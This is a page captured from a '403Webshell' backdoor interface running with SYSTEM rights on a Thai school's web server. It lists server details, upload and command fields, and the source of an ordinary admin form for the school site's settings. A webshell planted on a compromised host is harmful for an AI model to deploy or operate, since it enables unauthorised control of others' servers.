403Webshell
Server IP : 172.67.187.206  /  Your IP : 172.71.28.156
Web Server : Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
System : Windows NT WIN-ECQAAA40806 6.2 build 9200 (Windows Server 2012 Standard Edition) i586
User : SYSTEM ( 0)
PHP Version : 5.6.30
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  E:/Inetpub/www/myschool/triamudom/check/webadmin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : E:/Inetpub/www/myschool/triamudom/check/webadmin/display_public.php
<?php
session_start();
$path = "../";
include ($path.'include/config_db.php');
include ($path.'include/class_db.php'); 
include ($path.'include/class_display.php'); 
include ($path.'include/function.php'); 
include ($path.'include/permission_denied.php'); 

$CLASS['db']   = new db();
$CLASS['db']->connect(); 
$CLASS['disp']   = new display();

$db   = $CLASS['db']; 
$disp   = $CLASS['disp']; 
//----------------------------ค่าพื้นฐานระบบเว็บไซต์-----------------------------//
$fetch_public = $db->fetch_array($db->query("select * from tb_public"));
//----------------------------ค่าพื้นฐานระบบเว็บไซต์-----------------------------//

//--------------------ส่วนบนใช้สำหรับประกาศตัวแปรและ Config เท่านั้น----------------------------//
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title><?php print $fetch_public['tb_public_title_admin'];?></title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<SCRIPT type="text/javascript"  src="js/format.js"></SCRIPT>
<SCRIPT type="text/javascript"  src="js/global.js" ></SCRIPT>
<SCRIPT type="text/javascript"  src="js/dtree.js"  ></SCRIPT>
<script language="JavaScript"  type="text/javascript"  src="../js/editor.js"></script>
<link href="css/style_admin.css" rel="stylesheet" type="text/css">
<script type="text/javascript" src="ckeditor/ckeditor.js"></script>
<script type="text/javascript" src="ckfinder/ckfinder.js"></script>
</head>
<body>
<TABLE width=100% height="100%" border=0 cellPadding=0 cellSpacing=0>
	<tbODY>
		<TR>
			<TD width=100% height=100 align="left" vAlign=top ><?php include_once('header_admin.php'); ?></TD>
		</TR>
		<TR height="100%" >
		  <TD width="100%" height="100%" vAlign=top>
				<TABLE cellSpacing=0 cellPadding=0 width="100%" border=0 >
					<tbODY>
						<TR>
						<TD width=200 rowSpan=2 vAlign=top id=nav><?php include_once('left_nav.php'); ?></TD>
							<TD width=3 height=1 bgcolor="#f1f1f1"><img src="images/spacer.gif" width="3" height="1"></TD>
						  <TD width="100%" rowSpan=2 align="left" vAlign=top style="PADDING-LEFT: 3px; PADDING-RIGHT: 0px;">							
								<table cellspacing="0" cellpadding="0" width="100%" border="0">
								  <tbody>
									<tr>
									  <td rowspan="2"><img 
											src="images/i_setup.gif" width="65" height="44" border="0"></td>
									  <td width="100%" height="24">&nbsp;</td>
									  <td>&nbsp;</td>
									</tr>
									<tr>
									  <td  align="left" width="100%" 
										  background="images/bg_part.gif"><B><font color="#000000">เข้าระบบโดย : <?php print $_SESSION['sessionadmin_name'];?>  <?php print $_SESSION['sessionadmin_sername'];?></font></B></td>
									  <td><img 
										src="images/end_part.gif" width="25" height="20"></td>
									</tr>
								 </tbody>
								</table>
            				<br>
							<form action="function_public.php" method="post" enctype="multipart/form-data" name="form1" id="form1">
							<?php 
								$fetch_dis = $db->fetch_array($db->query("select * from tb_public"));
								$tb_public_title = $fetch_dis['tb_public_title'];
								$tb_public_title_admin = $fetch_dis['tb_public_title_admin'];
								$tb_public_tagdescriptions = $fetch_dis['tb_public_tagdescriptions'];
								$tb_public_tagmetakeywords = $fetch_dis['tb_public_tagmetakeywords'];
								$tb_public_sms = $fetch_dis['tb_public_sms'];
								$tb_public_telboss = $fetch_dis['tb_public_telboss'];
								$tb_public_year = $fetch_dis['tb_public_year'];
								$tb_public_nameboss = $fetch_dis['tb_public_nameboss'];
								$tb_public_nameboss1 = $fetch_dis['tb_public_nameboss1'];
								$tb_public_nameboss2 = $fetch_dis['tb_public_nameboss2'];
								$tb_public_nameboss3 = $fetch_dis['tb_public_nameboss3'];
								$tb_public_nameboss4 = $fetch_dis['tb_public_nameboss4'];
								$tb_public_knowledge_order = $fetch_dis['tb_public_knowledge_order'];
								$tb_public_datetime = $fetch_dis['tb_public_datetime'];
						?>
							<table width="90%" border="0" align="center" cellpadding="3" cellspacing="0" bgcolor="#666666" class="km_bgtable">
                                <tr>
                                  <td height="25" colspan="2" bgcolor="#FFFFFF" class="headTable_mpt">ตั้งค่าระบบเว็บไซต์</td>
                                </tr>
                                <tr>
                                  <td align="right" valign="top" nowrap="nowrap" bgcolor="#FFFFFF" class="biggray">Title Bar : &nbsp;</td>
                                  <td valign="top" nowrap="nowrap" bgcolor="#FFFFFF"><input name="tb_public_title" type="text" class="textbox" id="tb_public_title" size="80"  value="<?php print $tb_public_title;?>"> </td>
                                </tr>
                                <tr>
                                  <td align="right" valign="top" nowrap="nowrap" bgcolor="#FFFFFF" class="biggray">Title Bar Admin : &nbsp;</td>
                                  <td valign="top" nowrap="nowrap" bgcolor="#FFFFFF"><input name="tb_public_title_admin" type="text" class="textbox" id="tb_public_title_admin" size="80"  value="<?php print $tb_public_title_admin;?>"></td>
                                </tr>
                                <tr>
                                  <td align="right" valign="top" nowrap="nowrap" bgcolor="#FFFFFF" class="biggray">Meta Description : &nbsp;</td>
                                  <td valign="top" nowrap="nowrap" bgcolor="#FFFFFF"><textarea name="tb_public_tagdescriptions" cols="80" rows="3" class="textbox" id="tb_public_tagdescriptions"><?php print $tb_public_tagdescriptions;?></textarea></td>
                                </tr>
                                <tr>
                                  <td align="right" valign="top" nowrap="nowrap" bgcolor="#FFFFFF" class="biggray">Meta Keywords : &nbsp;</td>
                                  <td valign="top" nowrap="nowrap" bgcolor="#FFFFFF"><textarea name="tb_public_tagmetakeywords" cols="80" rows="3" class="textbox" id="tb_public_tagmetakeywords"><?php print $tb_public_tagmetakeywords;?></textarea></td>
                                </tr>
                                <tr>
                                  <td align="right" valign="top" nowrap="nowrap" bgcolor="#FFFFFF" class="biggray">ตั้งค่าข้อความแจ้งผู้ปกครอง  : &nbsp;</td>
                                  <td valign="top" nowrap="nowrap" bgcolor="#FFFFFF"><textarea name="tb_public_sms" cols="80" rows="2" class="headTable_mpt" id="tb_public_sms"><?php print $tb_public_sms;?></textarea></td>
                                </tr>
                                <tr>
                                  <td align="right" valign="top" nowrap="nowrap" bgcolor="#FFFFFF" class="biggray">ตั้งค่าเบอร์โทรผู้อำนวยการ  : &nbsp;</td>
                                  <td valign="top" nowrap="nowrap" bgcolor="#FFFFFF"><input name="tb_public_telboss" type="text" class="textbox" id="tb_public_telboss"  value="<?php print $tb_public_telboss;?>" size="50" maxlength="50" /></td>
                                </tr>
                                <tr>
                                  <td align="right" valign="top" nowrap="nowrap" bgcolor="#FFFFFF" class="biggray">&nbsp;</td>
                                  <td valign="top" nowrap="nowrap" bgcolor="#FFFFFF"><span class="alertred">ใช้สำหรับแจ้งจำนวนนักเรียนขาดเรียนทั้งหมดให้ ผอ. ทราบ ถ้าใส่มากกว่า 1 เบอร์ ให้ใส่ , ระหว่างเบอร์ </span></td>
                                </tr>
                                <tr>
                                  <td align="right" valign="top" nowrap="nowrap" bgcolor="#FFFFFF" class="biggray">ตั้งค่ารายชื่อผู้อำนวยการโรงเรียน  : &nbsp;</td>
                                  <td valign="top" nowrap="nowrap" bgcolor="#FFFFFF"><input name="tb_public_nameboss" type="text" class="textbox" id="tb_public_nameboss"  value="<?php print $tb_public_nameboss;?>" size="50" maxlength="50" /></td>
                                </tr>
                                <tr>
                                  <td align="right" valign="top" nowrap="nowrap" bgcolor="#FFFFFF" class="biggray">ตั้งค่ารายชื่อรองผู้อำนวยการฯฝ่ายวิชาการ  : &nbsp;</td>
                                  <td valign="top" nowrap="nowrap" bgcolor="#FFFFFF"><input name="tb_public_nameboss1" type="text" class="textbox" id="tb_public_nameboss1"  value="<?php print $tb_public_nameboss1;?>" size="50" maxlength="50" /></td>
                                </tr>
                                <tr>
                                  <td align="right" valign="top" nowrap="nowrap" bgcolor="#FFFFFF" class="biggray">ตั้งค่ารายชื่อรองผู้อำนวยการฯฝ่ายทั่วไป  : &nbsp;</td>
                                  <td valign="top" nowrap="nowrap" bgcolor="#FFFFFF"><input name="tb_public_nameboss2" type="text" class="textbox" id="tb_public_nameboss2"  value="<?php print $tb_public_nameboss2;?>" size="50" maxlength="50" /></td>
                                </tr>
                                <tr>
                                  <td align="right" valign="top" nowrap="nowrap" bgcolor="#FFFFFF" class="biggray">ตั้งค่ารายชื่อรองผู้อำนวยการฯฝ่ายบุคคล  : &nbsp;</td>
                                  <td valign="top" nowrap="nowrap" bgcolor="#FFFFFF"><input name="tb_public_nameboss3" type="text" class="textbox" id="tb_public_nameboss3"  value="<?php print $tb_public_nameboss3;?>" size="50" maxlength="50" /></td>
                                </tr>
                                <tr>
                                  <td align="right" valign="top" nowrap="nowrap" bgcolor="#FFFFFF" class="biggray">ตั้งค่ารายชื่อรองผู้อำนวยการฯฝ่ายงบประมาณ  : &nbsp;</td>
                                  <td valign="top" nowrap="nowrap" bgcolor="#FFFFFF"><input name="tb_public_nameboss4" type="text" class="textbox" id="tb_public_nameboss4"  value="<?php print $tb_public_nameboss4;?>" size="50" maxlength="50" /></td>
                                </tr>
                                <tr>
                                  <td align="right" valign="top" nowrap="nowrap" bgcolor="#FFFFFF" class="biggray">ตั้งค่าปีการศึกษา  : &nbsp;</td>
                                  <td valign="top" nowrap="nowrap" bgcolor="#FFFFFF"><input name="tb_public_year" type="text" class="textbox" id="tb_public_year"  value="<?php print $tb_public_year;?>" size="10" maxlength="5" /></td>
                                </tr>
                                <tr>
                                  <td align="right" valign="top" nowrap="nowrap" bgcolor="#FFFFFF" class="biggray">ตั้งค่าวันที่สำหรับนับวันทำงาน  : &nbsp;</td>
                                  <td valign="top" nowrap="nowrap" bgcolor="#FFFFFF"><input name="tb_public_datetime" type="text" class="textbox" id="tb_public_datetime"  value="<?php print $tb_public_datetime;?>" size="10" /></td>
                                </tr>
                                <tr>
                                  <td width="19%" align="right" valign="top" nowrap="nowrap" bgcolor="#FFFFFF" class="biggray">&nbsp;</td>
                                  <td width="81%" valign="top" nowrap="nowrap" bgcolor="#FFFFFF"><input name="Submit3" type="submit" class="Submit" value="บันทึกข้อมูลระบบ" /></td>
                                </tr>
                              </table>
       				        </form>
						  </TD>
          				</TR>
        				<TR>
          					<TD height=100% vAlign=top background="images/vline.gif">
          						<IMG src="images/h1_.gif" width="8" height="100" id=ctrlMnu style="CURSOR: hand" onClick="ShowHidePanel('nav', 'ctrlMnu')" onMouseOver="this.style.filter='alpha(opacity=65);'" onMouseOut="this.style.filter='alpha(opacity=100);'"></TD>
						</TR>
					</tbODY>
				</TABLE>		  </TD>
		</TR>
		<TR height="100%" >
		  <TD height="30" vAlign=bottom><?php include_once('footer.php'); ?></TD>
	  </TR>
	</tbODY>
</TABLE>
</body>
</html>
<script type="text/javascript">
//CKEDITOR.add;
//CKEDITOR.config.contentsCss = '../css/reset.css';
//CKEDITOR.config.disableNativeSpellChecker = true;
//CKEDITOR.config.language = 'th'; 
CKEDITOR.replace( 'tb_public_footer',{
					enterMode : CKEDITOR.ENTER_BR,
//					extraPlugins : 'uicolor',
					//uiColor: '#EE0000',//ใส่สี
//					toolbarCanCollapse:false,
					//stylesSet: 'mydefaultstyle',
//					resize:true,
					//skin:'office2003',
					//skin:'v2',
					skin:'kama',
				toolbar :
       [
           ['Source','SelectAll','RemoveFormat','-','Cut','Copy','Paste','PasteText','Bold','Italic','Underline','-','Font','Styles','Format','FontSize','TextColor','-','Image','Flash','Table','HorizontalRule','Smiley','-','NumberedList','BulletedList','-','Outdent','Indent','-','Blockquote','CreateDiv',
	'-','JustifyLeft','JustifyCenter','JustifyRight','JustifyBlock','-','BidiLtr','BidiRtl']
        ],
filebrowserBrowseUrl : 'ckfinder/ckfinder.html',
filebrowserImageBrowseUrl : 'ckfinder/ckfinder.html?Type=Images',
filebrowserUploadUrl : 'ckfinder/core/connector/php/connector.php?command=QuickUpload&type=Files',
filebrowserImageUploadUrl : 'ckfinder/core/connector/php/connector.php?command=QuickUpload&type=Images',
filebrowserWindowWidth : '1000', 
filebrowserWindowHeight : '700' 
			} );
			
var TabbedPanels1 = new Spry.Widget.TabbedPanels("TabbedPanels1");
</script>

Youez - 2016 - github.com/yon3zu
LinuXploit